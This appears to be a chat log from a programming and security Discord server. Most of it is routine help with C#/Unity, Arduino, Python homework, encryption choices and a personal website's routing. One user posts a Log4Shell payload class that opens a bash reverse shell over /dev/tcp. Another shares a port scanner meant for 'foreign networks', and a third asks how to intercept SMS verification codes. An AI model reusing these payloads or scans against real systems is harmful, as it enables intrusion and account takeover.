#
data = [[0,0,0], [1,1,1], [2,2,2]]
#

Ah, didn't read that file part.

#

Well that depends, what programming language?

#

You could use pickles for example to save it to byte code and then load it back in (python)

#

Or depending on the data you could just write it like

0,0,0
1,1,1
2,2,2
#

And load it in line by line

slender raptor
#

Well right now I'm using C# since it's a default unity language. (and its pretty easy lol) I'm mostly messing around to learn how to store stuff the best way.

The cell class currently has an array of length 4 for "Cell walls" and a second array of length 4 for "Corners".
So if I made my own file it'd have to be something like 1,0,1,0:0,0,0,0 For a cell that has a top wall, bottom wall, and no corners. But splitting the offline data from that into variables seems weird. Thonk

But from a few tutorials I have found it looks like JSON has utilities to automatically extract the data from a file.

surreal bronze
#

Why would you use JSON though? Seems a bit overcomplicated for simple integer values - JSON is based of an attribute:value system. Here's an example for writing it to a simple text file, in python:

data = [[1,0,1,0],[0,0,0,0]]

with open('data', 'w+') as data:
  data.write('\n'.join([','.join(row) for row in data]))
slender raptor
#

How exactly would you separate this though? The biggest concern is not writing to a text file but reading.

surreal bronze
#

Pretty simple

#
with open("data") as file:
    result = [[int(x) for x in line.split(',')] for line in file]
#

Read each line (array) and then join them together into the 2D array

slender raptor
#

OH I see actually

#

I think in C# it would actually need to be separated by getting substrings separated by the commas but that makes a bit more sense, thanks πŸ™‚

#

Ok I just realized how dumb I was being actually because since It's a 10/10 grid there will at most be an index of 99, so the first digit can be horizontal coordinates and the second digit can be vertical ([0] being the top left, [90] being bottom left, and [99] being bottom right) So I dont even need a 2D Array lol

slender raptor
#
        char a = Path.DirectorySeparatorChar;
        string readFromFilePath = Application.streamingAssetsPath + a + "Tests.txt";
        List<string> fileLines = File.ReadLines(readFromFilePath).ToList();
        List<bool> bools = new List<bool>();
        
        string[] strings = fileLines[0].Split(",");
        foreach(string line in strings)
        {
            Debug.Log(line);
            bools.Add(bool.Parse(line));
        }

This seems to work fine for just splitting a line into booleans so I will probably keep this same general idea πŸ™‚ Ty for the brainstorming help

slender raptor
#

Ok I might actually need JSON anyways because each Cell should actually contain more properties than just corners/walls Thonk (It might just be more convenient)

keen patio
#
import java.net.InetAddress;
import java.net.Socket;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.stream.IntStream;

public class NetworkScanner {
    private static final int TIMEOUT = 1000; // Timeout for socket connections in milliseconds

    public static void main(String[] args) {
        String ipAddress = "XXX.XXX.X.X"; // IP address of the network
        int startPort = 1; // Starting port for the scan
        int endPort = 65535; // Ending port for the scan

        // Multithreading: Use a thread pool with 100 threads
        ExecutorService executor = Executors.newFixedThreadPool(100);
        List<PortScannerTask> tasks = new ArrayList<>();

        // Create tasks for each port in the specified range
        IntStream.rangeClosed(startPort, endPort).forEach(port -> {
            PortScannerTask task = new PortScannerTask(ipAddress, port);
            tasks.add(task);
        });

        try {
            // Start all tasks in the thread pool
            executor.invokeAll(tasks);

            // Wait for completion of all tasks and shut down the thread pool
            executor.shutdown();
            executor.awaitTermination(5, TimeUnit.MINUTES);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        // Output the open ports
        System.out.println("Open ports on " + ipAddress + ":");
        tasks.stream().filter(PortScannerTask::isPortOpen).forEach(task -> {
            System.out.println("Port " + task.getPort() + " is open.");
        });
    }```
#
        private String ipAddress;
        private int port;
        private boolean portOpen;

        public PortScannerTask(String ipAddress, int port) {
            this.ipAddress = ipAddress;
            this.port = port;
        }

        @Override
        public void run() {
            try {
                // Open socket connection to the port
                InetAddress inetAddress = InetAddress.getByName(ipAddress);
                Socket socket = new Socket();
                socket.connect(inetAddress, port, TIMEOUT);
                socket.close();
                portOpen = true;
            } catch (IOException e) {
                // Port is not open
                portOpen = false;
            }
        }

        public int getPort() {
            return port;
        }

        public boolean isPortOpen() {
            return portOpen;
        }
    }
}```
#

dont work... why?

true pumice
keen patio
#

i do

true pumice
#

What doesn't work?

keen patio
#

Scan foreign networks and discover vulnerabilities, but it doenst work

magic falcon
#

Maybe you could post an actual error and that would help troubleshoot. Just out of curiosity, what are you trying to scan? Maybe there is something in the way.

hollow stratus
#

Hi Im trying to exploit log4shell on my virtual machine for my study.

I succesfully did this on a linux minecraft server ( where the injection point is the minecraft chat ) I used the following exploit:

public class Exploit {
    static{
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.160.130/9999 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

However, when trying this on windows, I am able to open up calc.exe. But I cant open powershell.exe

public class WindowsExploit {
    static {
        try {
            Runtime.getRuntime().exec("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe").waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

OR

public class WindowsExploit {
    static {
        try {
            Runtime.getRuntime().exec("powershell.exe").waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Both are not working.. I dont understand why..

hollow sorrel
lilac holly
#

go, rust, or smth else? for web/network related stuff?

clear lodge
#

ok lmao, I expected 0 logs. T^T

hollow stratus
brazen eagle
brazen eagle
brazen eagle
brazen eagle
hollow stratus
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

hollow stratus
slender raptor
# brazen eagle C# should have a serialization format

You're right yea! I found it yesterday evening

using UnityEngine;

public class Cell
{
    public bool[] walls = new bool[4];
    public bool[] corners = new bool[4];

    public string SaveToString()
    {
        return JsonUtility.ToJson(this);
    }
}

public class JSONScriptHandler : MonoBehaviour
{
    private Cell newCell = new Cell();
    private bool coolValue = true;
    
    public void Start()
    {
        Debug.Log(newCell.SaveToString());
    }
}
#

This is kind of what my test looked like and it works πŸ™‚

uneven violet
#

how i fix this error:--- gobuster -u http://fakebank.com -w wordlist.txt dir =====================================================
Gobuster v2.0.1

[+] Mode : dir
[+] Url/Domain : http://fakebank.com/
[+] Threads : 10
[+] Wordlist : wordlist.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s

2022/04/11 18:23:28 Starting gobuster

/images (Status: 301)
/DIRECTORY_NAME_OUTPUT (Status: 200)

2022/04/11 18:23:38 Finished

magic falcon
#

What error?

#

Is this for a THM room?

surreal bronze
#

You posted earlier a syntax error

#

This isn't it. What's your goal here?

uneven violet
#

Show that syntax error near unexpected token

uneven violet
surreal bronze
#

Okay this is the tutorial tryhackme room

uneven violet
magic falcon
surreal bronze
tacit parrot
lyric mirage
lone token
#

Does anyone know how to put excel csv into python program?

heavy rampart
tropic brook
#

hey can anyone help me with regex rq? yes i do not know it... its a very simple thing
whats the regex if i want to check if the text beggins with lets say

#

something i want to check if it starts with something

#

if it does the rest is not important

south tulip
#

^https?:\/{2}youtube\.com(?:\/.*)?$ would check for the url you put in #general, with *either* http or https, ending in *either* nothing, a trailing slash, or a trailing slash and any characters after

#

regex101 is solid for testing and writing strings

#

(and you can go through the regex step by step while it compares to see how it works or where it fails)

south tulip
proven zealot
#

what can i do

surreal bronze
brazen eagle
#

I mean that script isn't useful anymore as WSL uses systemd natively now

lilac holly
clear lodge
#

@lilac holly please stop self promoting everywhere

#

I saw your posts yesterday as well

lucid zenith
#

Hello guys. I'm looking for joint projects on web development..python django

lilac holly
lilac holly
clear lodge
#

it doesnt matter if they are different projects, please check out #rules > rule 3

#

have a chat with Hydra when he is around about if / how you can share your projects

clear lodge
brazen eagle
#

though using ArgParse is a step up from the usual πŸ˜‰

surreal bronze
#

ahhh shit

#

I expected this to a problem

#
// Including basic libs
#include <Arduino.h>
#include <U8x8lib.h>
#include <math.h>

// Setting up OLED display
U8X8_SSD1306_128X64_NONAME_HW_I2C u8x8(/* reset=*/ U8X8_PIN_NONE);

//Gravity Acceleration
#include "LIS3DHTR.h"
#ifdef SOFTWAREWIRE
    #include <SoftwareWire.h>
    SoftwareWire myWire(3, 2);
    LIS3DHTR<SoftwareWire> LIS;       //Software I2C
    #define WIRE myWire
#else
    #include <Wire.h>
    LIS3DHTR<TwoWire> LIS;           //Hardware I2C
    #define WIRE Wire
#endif

// Global variables
float maxAccel = 0.0;
int pastLight = 0;

bool aboutToLaunch = false;
bool flying = false;

// Input variables
int ledPin = 4;
int sensorpin = A6; // Analog input pin that the sensor is attached to
int lightValue = 0;        // value read from the port

// Accel values
int accelValues[5000];
int accelIndex = 0;
#
void setup() {
  Serial.begin(9600); 
  while (!Serial) {};
  LIS.begin(WIRE, 0x19); //IIC init
  delay(100);
  LIS.setOutputDataRate(LIS3DHTR_DATARATE_50HZ);

  // OLED Display
  u8x8.setBusClock(100000);
  u8x8.begin();
  u8x8.setFlipMode(1);

  // Light sensor
  pinMode(ledPin,OUTPUT);
  pinMode(sensorpin, INPUT);

}

void loop() {
  // Accelerometer
  if (!LIS) {
    Serial.println("LIS3DHTR didn't connect.");
    while (1);
    return;
  }

  // Reading inputs
  float currentAccel = sqrt(pow(LIS.getAccelerationX(), 2)+pow(LIS.getAccelerationY(), 2)+pow(LIS.getAccelerationZ(), 2));
  lightValue = analogRead(sensorpin);

  if (pastLight == 0) { 
    pastLight = lightValue;
  } else if (pastLight-lightValue > 100) { // Finger on board
    if (aboutToLaunch == false) { 
      Serial.println("Ready to launch!");
      aboutToLaunch = true;
    }
  } else {
    if (aboutToLaunch) { 
      flying = true;
      Serial.println("Launched");
      aboutToLaunch = false;
    }
  }

  pastLight = lightValue;

  if (flying == true) { 
    if (currentAccel < 1.15) { 
      flying = false;
      Serial.println("Landed");

      for(size_t i = accelIndex; i--;) {
        Serial.println(accelValues[i]);
        accelValues[i] = 0;
      }
      accelIndex = 0;
      Serial.println(maxAccel);
      maxAccel = 0.0;
    } else {
      accelValues[accelIndex] = currentAccel;
      accelIndex ++;
      Serial.println("IM FLYING WHOOO");
      if (currentAccel > maxAccel) { 
        maxAccel = currentAccel;
      }
    }
  }
  // Serial.println(currentAccel);

  // Serial.println(flying);

  // Display
  u8x8.setFont(u8x8_font_chroma48medium8_r);
  u8x8.setCursor(0, 0);
  u8x8.print("Max accel:");
  u8x8.setCursor(0, 10);
  u8x8.print(maxAccel);

}
#

thoughts so far?

#

as you can probably tell i have 0 experience with c++

#

ok i should probably reduce that array a tincy bit smaller

brazen eagle
#

Try 256 values

surreal bronze
#

https://www.phind.com/
This looks like an interesting alternative to AI like copilot, especially useful that it cites it sources

lilac isle
tranquil flame
lyric mirage
#

Oh, where'd the code go?

lilac holly
#

i wanna have some fun implementing stuff like proxies and web servers
go or rust? (or smth else)

lilac holly
#

Eh not python tho

brazen eagle
#

probably go for networking

lilac holly
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

naive maple
#

Friends, do you know how to intercept mobile SMS verification codes

magic falcon
#

what service?

amber portal
#

hi

glad void
#

hey guys i had this ore error on my code that i cant solve it

wraith latch
#

Try and post your code in codeblocks: type three backticks ` followed by your code and then close it off with another three backticks:

$yourcodeexample```
glad void
#

not working

wraith latch
#

you need three of these: `

glad void
#
    def __init__(self, data=None):
        self.data = data
        self.next = None
class LinkedList:
    def __init__(self):
        self.head = Node(0) # First node will have the count of the number of nodes available in the linked list
        self.size = 0
    def push(self, data):
        new_node = Node(data)
        new_node.next = self.head.next
        self.head.next = new_node
        self.size += 1
    def pop(self):
        if self.head.next is None:
            return None
        popped_node = self.head.next
        self.head.next = popped_node.next
        self.size -= 1
        return popped_node.data
    def display(self):
        current_node = self.head.next
        while current_node is not None:
            print(current_node.data, end=' ')
            current_node = current_node.next
        print()
    ```
#

this is the first part

#

    def is_empty(self):
        return self.size == 0
    def top(self):
        if self.head.next is None:
            return None
        return self.head.next.data
    def is_operand(char):
        return char.isalpha() or char.isdigit()
    def higher_precedence(op1, op2):
        precedence = {'+': 1, '-': 1, '*': 2, '/': 2, '^': 3}
        return precedence[op1] >= precedence[op2]
    def infix_to_postfix(infix_expression):
        postfix_expression = []
        stack = LinkedList()
        for char in infix_expression:
            if is_operand(char):
                postfix_expression.append(char)
            elif char == '(':
                stack.push(char)
            elif char == ')':
                while stack.top() != '(':
                    postfix_expression.append(stack.pop())
                stack.pop()
            else:
                while not stack.is_empty() and stack.top() != '(' and higher_precedence(stack.top(), char):
                    postfix_expression.append(stack.pop())
                stack.push(char)
            while not stack.is_empty():
                postfix_expression.append(stack.pop())
            return postfix_expression
    def check_parenthesis(infix_expression):
        stack = []
        for char in infix_expression:
            if char == '(':
                stack.append(char)
            elif char == ')':
                if len(stack) == 0:
                    return False
                    stack.pop()
            return len(stack) == 0
#

second part

#
    def main():
# read input from user
        infix_expression = input("Enter the infix expression: ")

# check for parenthesis
        if not check_parenthesis(infix_expression):
            print("Invalid expression: parenthesis not balanced")
        return

# convert to postfix
postfix_expression = infix_to_postfix(infix_expression)
# update linked list with postfix expression
linked_list = LinkedList()
linked_list.push('(') # add left parenthesis as the first node
for char in postfix_expression:
    linked_list.push(char)
    linked_list.push(')') # add right parenthesis as the last node

# display output linked list
    linked_list.display()

if __name__ == '__main__':
    main()

#

thats the whole code

wraith latch
#

What's the error message?

glad void
#

NameError: name 'infix_to_postfix' is not defined

wraith latch
#

Is this homework?

glad void
#

yes

wraith latch
#

We typically don't help with that, but I can assure you if you research the error message you'll find out why it doesn't work

#

The reason for it is in one of the codeblocks you've posted

glad void
#

which one

wraith latch
#

Research the error NameError for python and you'll see what the problem is

glad void
#

okay thanks!

wraith latch
#

@glad void You should check the rules, don't DM people without permission please

hasty moth
#

i need to store extremely sensitive information in a database. I need to encrypt that information and be able to decrypt it again. I'm using C#/.NET Core (and MS SQL as a database). What would be the most secure way to do this? Any resources on that?

molten pagoda
hasty moth
molten pagoda
#

Oh apologies, I read that and forgot about it πŸ˜„

#

Well, I can think of having a cipher with a passphrase either user provided or system wide
take a look at https://www.dcode.fr/ it has so many ciphers you can probably find C# codes for

cursive orchid
#

does this extremely sensitive data need to abide by any standards

#

and what do you mean by extremely sensitive data

brazen eagle
#

AES-GCM is the gold standard, though you'll have to be careful with key management

magic falcon
molten pagoda
wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

magic falcon
#

There are hundreds of blog articles on the topic; it's simpler though, to just accept that a hash is defined as a one way mathematical function, and encryption is a reversible transformation based on a key.

molten pagoda
#

True, I originally didn't give the correct answer (the msg you replied to) then I corrected it with encryption algorithms #programming message

brazen eagle
#

Yeah but you don't use async if you need perf. Still have the key storage issue though.

#

Public key crypto is useful for signing messages though

lilac holly
#

async to get the key across and have fun with sync after

brazen eagle
lilac holly
covert stirrup
#

can anyone check out why its brocken

lilac holly
hasty moth
#

why did nobody tell me working with cryptograhpy is so much fun?

molten pagoda
#

if you like math, yes it is

#

if you don't.. like me, it's not gonna be as fun :\

hasty moth
#

i'm not even doing that much math. just using crypto-libraries. but implementing the security, setting up cryptography, key management etc. I learned so much and having a blast implementing it

molten pagoda
#

well, yea that's fun indeed

dapper frigate
#

Hey bro

#

I'm new here in hacking world

#

I just started course called bug bounty from zero to hero and i found it interesting but dunno know that much can you help me out

#

@molten pagoda

molten pagoda
hasty moth
# dapper frigate <@209720683809210368>

you shouldn't tag random users. also, just ask the questions you have in the appropriate channels instead of a generic "can you help me". That way, if somebody can help you, they can just answer your question

molten pagoda
molten pagoda
dapper frigate
#

Thank you folks
Can I ask one more question here please

hasty moth
molten pagoda
winter holly
#

does anyone have any tip for learning web development as a 17 year old beginner!?

brazen eagle
#

!rule 3

narrow terraceBOT
#

Rule 3: No excessive self promotion. You are welcome to post livestreams, writeups, and videos of THM content in #thm-community-media; these should be submitted to the room in question and approved by the creator before being posted here (it goes without saying that 'writeups' which are just copy/pasted room content, or are answer dumps, are a big no-no). Please do not abuse this. Be respectful to other users -- we are not interested in seeing you repeatedly spam your own content.
When in doubt, ask a moderator in the chat :)

brazen eagle
#

@lilac holly please see the previous rule for reference.

clear lodge
molten pagoda
kind jolt
#

who can teach mi the programming

kind jolt
molten pagoda
kind jolt
molten pagoda
#

yes

true pumice
#

(There’s a couple of links pinned too)

kind jolt
magic falcon
molten pagoda
#

you can use google translate :)

fleet reef
#

any idea why this doesnt print the right thing

brazen eagle
#

Because your myfile is in desktop not the home dir

fleet reef
#

how would I write it so it checks for the file in the whole system

brazen eagle
#

Probably use find

fleet reef
#

oh no I wanted to do it within this

#

thank you

brazen eagle
#

You'll need to walk the FS then

fleet reef
#

I just changed the directory

#

also how would I get my net+ role

brazen eagle
#

Ask a mod nicely and be prepared to provide proof

wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

slender raptor
#

Yall ever do stuff programming related and it feels like it should be an easy task but it's really confusing for whatever reason?

magic falcon
#

That's programming in general. The more planning you do to walk through the logic before you sit at hte keyboard, the more progress you'll make

surreal bronze
#

When that happens I usually resort to going hand written

#

planning the logic and solution, not the actual code

slender raptor
surreal bronze
#

Is the problem an assignment?

magic falcon
#

Seriously, walk through the process on a whiteboard or pen and paper. Once you understand the process of what you're trying to implement, the actual coding will be much less of a problem.

slender raptor
#

Well I was just typing it out like this and trying to look at how a grid looks with the numbers, but the problem is just creating a mesh grid and assigning vertices properly. I could look it up but don't really want to copy and paste someone else's idea :p

surreal bronze
#

is that given to you in a string format?

#

I'd personally store it as a 2d array

slender raptor
#

No Im not trying to store information here, but I'm just trying to visualize how I would need to implement a system for assigning triangles.

#

For example one triangle could be from vertices 0, 1, 11 and another triangle would be 0, 11, 10. Idk its just kinda frustrating coding sometimes lol

surreal bronze
#

What do you mean by "system for assigning triangles"?

#

Assigning triangles to what exactly? And what data structure would it be?

slender raptor
#

In unity the way meshes work is they have a vertex array, which is a Vector3[]. This is where all the vertices are stored and their positions.

To assign triangles you need to assign an int[] array determining which Vertices are connected...

So for example an array containing 4 points for a quad could look like this.

    private Vector3[] vertices = new Vector3[]
    {                             // Index
        new Vector3(0, 0, 0), // 0
        new Vector3(1, 0, 0), // 1
        new Vector3(0, 0, 1), // 2
        new Vector3(1, 0, 1)  // 3
    };

Then to assign triangles you need to assign the int array like so.

private int[] triangles = new int[]
    {
        0, 1, 2, //Triangle 1
        1, 3, 2  //Triangle 2
    };

But for some reason I cant think of the proper logic to make this work in a for loop. (I did ask ChatGPT how to do such a thing, and it came up with a working solution but I don't really understand it)

#

I might just let it sit in my mind for a bit, take a break and then continue later πŸ˜†

surreal bronze
#

Ah okay, so correct me if I'm wrong but

    private Vector3[] vertices = new Vector3[]
    {                             // Index
        new Vector3(0, 0, 0), // 0
        new Vector3(1, 0, 0), // 1
        new Vector3(0, 0, 1), // 2
        new Vector3(1, 0, 1)  // 3
    };

This part just contains points on the plane, at those vector coordinates.

#

Then you want to make a triangle with 3 of those vector points

private int[] triangles = new int[]
    {
        0, 1, 2, //Triangle 1
        1, 3, 2  //Triangle 2
    };

Where the numbers are the index locations of the vector points?

slender raptor
#

Yeah :p

#

If implemented properly those two arrays would produce triangles like this

magic falcon
#

What kind of project are you using Unity to build?

surreal bronze
slender raptor
#

This is literally just to mess with meshes for landscapes at the moment, it looked fun so I was just messing with it.

surreal bronze
slender raptor
#

The points 0, 1, and 2, are indexes in the Vector3 so the first triangle is made using these 3 points

new Vector3(0, 0, 0), // 0
new Vector3(1, 0, 0), // 1
new Vector3(0, 0, 1), // 2
surreal bronze
#

Yup gathered that, but what triangles are you trying to make?

#
private Vector3[] vertices = new Vector3[]
    {                             // Index
        new Vector3(0, 0, 0), // 0
        new Vector3(1, 0, 0), // 1
        new Vector3(0, 0, 1), // 2
        new Vector3(1, 0, 1)  // 3
    };

You have this, what is telling you what triangles need to be assigned?

slender raptor
#

I am a bit confused by your question, I am telling the computer what triangles need to be assigned using the integer array. I did just come up with a possible solution for the triangles though so I will try to implement it later :p

surreal bronze
#

Sure, so your just giving it an array like 0, 1, 2 ?

slender raptor
#

Yeah :p

#

Its an array of integers, and each set of 3 numbers equals a triangle

#

0, 1, 2 would be a triangle
1, 3, 2 could be another
2, 1, 0 would be the first one but flipped normal direction (because it is labeled counter clockwise and that is how Unity determines direction)

surreal bronze
#

Got you! So you want to split the array into sets of 3?

slender raptor
#

Basically yeah. You're generating a grid by having it split the array of points into sets of 3 to determine where each triangle goes

surreal bronze
#

But why give it as a single dimension array?

magic falcon
#

Discussion of malware is restricted to certain channels; additionally, this looks like homework (so we can't help you).

glacial maple
wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

glad depot
#

Anyone here worked with encoding barcodes? Especially with 2d barcodes

slender raptor
wispy kestrelBOT
#

Gave +1 Rep to @surreal bronze

onyx merlin
timber fable
#

hello

#

can a website like TryHackMe be using a NoSql database or does it have to be relational ?

true pumice
sly breach
true pumice
#

My thoughts exactly!

#

Thanks Mr Natic

timber fable
#

well I was just wondering if the functionality of storing each answered question for each user would better be in a relational database? Since you have to track all progress a user has made

brazen eagle
#

pretty sure they've examined the best choices for the db

timber fable
magic falcon
#

the only way to know is to do an analysis of the types of data you want to store, and to do some metric estimation and PoC work

digital dove
magic falcon
digital dove
#

Oh yes, query complexity, volume, etc. many considerations.

slender raptor
slender raptor
#

Nevermind I got it to work. It wasnt working because my indexing of the vertices in the triangle array were not done properly Pogg

int index = x + y * (gridSizeX + 1);

                triangleList.Add(index);
                triangleList.Add(index + 1);
                triangleList.Add(index + gridSizeX + 1);

                triangleList.Add(index + gridSizeX + 2);
                triangleList.Add(index + gridSizeX + 1);
                triangleList.Add(index + 1);
brazen eagle
slender raptor
#

Yea :p

brazen eagle
#

haven't done graphics in at least a decade >.<

onyx merlin
onyx merlin
timber fable
exotic frigate
#

I was thinking to learn C++ development on Linux and networking in C++ with ASIO. I should try and make a web server that I can connect to on my LAN. Starting very basic with a simple static HTML but I would like to maybe host a server on my main desktop and access content on it or something.
I know PHP can read tags from the HTML and handle form data etc. Maybe I could do that with C++ instead.
Then next maybe make a ASCII game that's also networked. I would need to know how to update the screen fast enough maybe directly using X11 calls in the client (all to avoid the slow printf function calls.). Then set up a little top down world to explore with other square text character.

mild grove
#

Not a plug but I just launched this website www.lanebyte.com on my local server the webpage displays everything perfectly, but once hosted through hostgator, my webpage doesnt display the main title text just a flashing | @vestal carbon

#

I dont know if I fucked something up in my code, or what

tranquil stirrup
#

What hosting package are you running locally?

mild grove
#

By locally I mean just opening the file in chrome

#

But I am using Hostgator webhosting services through cPanel

brazen eagle
#

have you tried via github or gitlab pages?

mild grove
#

wdym?

brazen eagle
#

I'm assuming it's a static site?

#

ie: no dynamic server-side code

mild grove
#

yeah no, its static

tranquil stirrup
#

This is what you see on web?

vestal carbon
brazen eagle
mild grove
#

file:///C:/Users/jbare/Personal%20Website/index.html this is what I mean by local hosting

brazen eagle
#

on a UX side, slow down the animation, it's a bit distracting πŸ™‚

mild grove
#

lm,fao

#

will do

vestal carbon
#

it does not look like the title is in the code?

tranquil stirrup
#

I don't see any "Lane Byte" text in source.

surreal bronze
#

whats your index.html

vestal carbon
mild grove
#
<html>
<head>
  <title>Home</title>
  <link rel="stylesheet" href="css/index.css">
</head>
<body>
  <div class="banner-container">
    <div class="banner-content">
      <h2>> Under Construction <</h2>
      <p>
        This website is currently under construction.<br>
        <br>
        Some features of this website may not be functional.<br>
        <br>
        If you experience any issues related to this website<br>
        please contact me using discord @ Lane#0085.<br>
        <br>
        Thank you for your patience, please check back in a few weeks<br>
        for further updates!
      </p>
      <button id="hide-banner">Hide</button>
    </div>
  </div>
  <div class="navbar-container">
    <div class="navbar-box">
      <ul class="navbar-list">
        <li><a href="index.html" class="navbar-link">Home</a></li>
        <li><a href="about.html" class="navbar-link">About</a></li>
        <li><a href="#" class="navbar-link">Services</a></li>
        <li><a href="#" class="navbar-link">Contact</a></li>
      </ul>
      <span class="flashing-cursor">></span>
    </div>
  </div>

  <div class="typing-container">
    <h1>
      <span id="title"></span>
      <span id="typing-cursor" class="typing-cursor"></span>
    </h1>
  </div>

  <canvas id="canvas"></canvas>

  <footer>
    <hr class="footer-line">
    <p class="footer-text">Lane Byte &copy; 2023. All rights reserved.</p>
  </footer>

  <script src="js/index.js"></script>
</body>
</html>```
surreal bronze
#

yeah

mild grove
#

the "Lane Byte" is apart of my JS

#

heres my JS

tranquil stirrup
#

if I explicitly go to /index.html I see it.

vestal carbon
#

same

mild grove
#

nvm its too long lol

surreal bronze
#

whats the URL pls?

tranquil stirrup
#

So JS == Dynamic πŸ˜‰

mild grove
#

okay, so whats my issue? is it thinking that the home page is different from <home>

vestal carbon
#

missing your "type title" in your index file

#

not index.html

brazen eagle
#

is there an index.htm lying around?

mild grove
surreal bronze
mild grove
vestal carbon
#

nvm

#

my bad

#

looked at 2 files

tranquil stirrup
surreal bronze
#

and doesn't load at the root, interesting

tranquil stirrup
#

And it's gone for me now.

#

πŸ™‚

mild grove
#

Do I have to create a redirect?

mild grove
surreal bronze
vestal carbon
#

I know why

surreal bronze
#

well it seems pretty obvious to me here

#

πŸ˜›

vestal carbon
#

same

mild grove
#

Okay I must be blind lmfao

vestal carbon
#

it's obvious now that I look at it

brazen eagle
#

haha

#

yeah

mild grove
#

I'm not seeing it whatsoever, keep in mind ive been staring at this shit all day lol

surreal bronze
#

always helpful to have another set of eyes

vestal carbon
#

there's no index in your url meaning it won't show the title

surreal bronze
#

I'd do the same thing honestly

brazen eagle
#

needs an || currentPage === ''

tranquil stirrup
#

No "default" condition so to speak.

mild grove
#

ahhhhh

vestal carbon
#

yeee

brazen eagle
#

or an else

mild grove
#

okayyyy

#

let me give it a shot

brazen eagle
#

and nuke the index case

mild grove
#

give me 10 seconds site doesnt take long to update

tranquil stirrup
#

Currently πŸ˜‰

mild grove
#

FIXED

#

lmfao you guys are great

brazen eagle
#

also also, the under construction banner is so 1998

tranquil stirrup
#

One day you will get annoyed with having to load a whole page to update one small thing, then you'll start building a framework, and the index file will be a list of includes, and nothing else πŸ˜„

tranquil stirrup
surreal bronze
mild grove
#

Just something I wanted to try

tranquil stirrup
#

It's like 2023 does 1998

brazen eagle
mild grove
#

It fit the theme though lol

tranquil stirrup
#

(well, web 2.0 for active... so 2003 does 1998?)

brazen eagle
#

but it's a bit awkward and superfluous

surreal bronze
#

slight nickpick but it does look weird with the text heading

brazen eagle
#

yeah

vestal carbon
#

especially the see through

tranquil stirrup
#

Auto-hides in 10 seconds πŸ˜‰

vestal carbon
#

irritates my eyes

mild grove
brazen eagle
#

raise the opacity

mild grove
#

Its not permanent or anything lol but for the mean time I understand

brazen eagle
#

this is 95%

#

you miss the type effect though

vestal carbon
#

much better

surreal bronze
#

my idea was to just display the text after you click "hide"

#

but that works too

mild grove
#

lol

#

So other than the banner how do you guys like the site thus far?

tranquil stirrup
#

Welcome to web-design. πŸ™‚

surreal bronze
#

awhhh I broke it

#

http://lanebyte.com/index.html?x=/hello

mild grove
wispy kestrelBOT
#

Gave +1 Rep to @tranquil stirrup

vestal carbon
#

I like how you link index.html# on everything else than about.html and just redirect to 404

mild grove
#

Like I said its still under development, read the banner lmfao

vestal carbon
#

yeee, just funny

mild grove
brazen eagle
#

I'd still slow down the background animation

mild grove
#

Okay let me look into that really quickly

vestal carbon
surreal bronze
mild grove
#

I just removed the first one lol

brazen eagle
#

I said add an or

surreal bronze
#

I like the design

brazen eagle
#

not nuke the index

#

πŸ˜›

mild grove
#

lol

vestal carbon
#

yeee

surreal bronze
brazen eagle
#

(routing is hard)

vestal carbon
#
  if (currentPage === '' || currentPage === 'index' ) {
    typeTitle('Lane Byte');
  } else if (currentPage === 'about') {
    typeTitle('About');
  } else if (currentPage === 'blog') {
    typeTitle('Blog');
  } else if (currentPage === 'services') {
    typeTitle('Services');
  } else if (currentPage === 'contact') {
    typeTitle('Contact');
  }
mild grove
#

okay, I'll fix that

brazen eagle
#

yeah that

surreal bronze
#

now its the opposite

#

http://lanebyte.com/index.html

#

doesnt work

#

but http://lanebyte.com/ does

brazen eagle
#

yeah known bug

vestal carbon
#

we just said that

brazen eagle
#

πŸ˜›

#

well as of 30 seconds ago but still

mild grove
#

now I have to do some math's and change the speed lol

surreal bronze
#

sorry guys im old

brazen eagle
#

get with the program!

brazen eagle
vestal carbon
mild grove
brazen eagle
#

well, the speeds

mild grove
#

I'm going to do it locally first

#

then I'll publish one second

brazen eagle
#

will be better with a more subtle effect, I'm assuming 30-60 fps here

vestal carbon
#

25-30 is nice

#

typical animation speed for animes

mild grove
#

try now

#

do a nice refresh

surreal bronze
#

works :)

vestal carbon
#

yeeee, much better

surreal bronze
#

you also fixed that other bug

mild grove
#

Yeah I'm aware lol

#

For a second I thought I broke half of my background because one side was just black while the other had lines lol

brazen eagle
#

you can go even slower tbf

mild grove
#

by how much? you think?

brazen eagle
#

at least half

mild grove
#

okay lets try that out

surreal bronze
#

Mobile actually works decent too

mild grove
surreal bronze
#

Does kinda feel like its in desktop mode but its accessible sooo

surreal bronze
mild grove
#

half speed is published

brazen eagle
surreal bronze
#

indeed

mild grove
#

how does that look hydra?

surreal bronze
#

I like the speed

#

did you think about having the typing cursor stay on?

vestal carbon
mild grove
brazen eagle
#

this is a simulated iPhone

brazen eagle
#

motion is still visible, but feels more subtle and less hyperactive

mild grove
#

yeah I dont mind it at all

surreal bronze
#

Good job!

brazen eagle
#

so it's less distracting for the content

#

have you tried monochrome dots?

mild grove
#

I'm still learning web development, but I feel for one of my first PUBLISHED projects this is actually pretty good. I really appreciate the critisism too!

mild grove
brazen eagle
#

it's easier if you specify HSL

surreal bronze
#

Nice 404

#

Mine just redirects them to a special youtube video for any invalid request

mild grove
mild grove
#

Don't know what it looks like

vestal carbon
mild grove
#

The site was JUST PUBLISHED not even an hour ago

surreal bronze
#

any button

mild grove
#

lol

mild grove
#

But i feel that If I continue with this project, it may turn out pretty good lol

surreal bronze
brazen eagle
#

very probably

mild grove
#

another thing I have to do is verify my SSL

#

I hate having http

brazen eagle
mild grove
#

I want a HTTPS

#

with a lock lol

surreal bronze
#

what are you hosting it on

mild grove
#

HostGator

surreal bronze
#

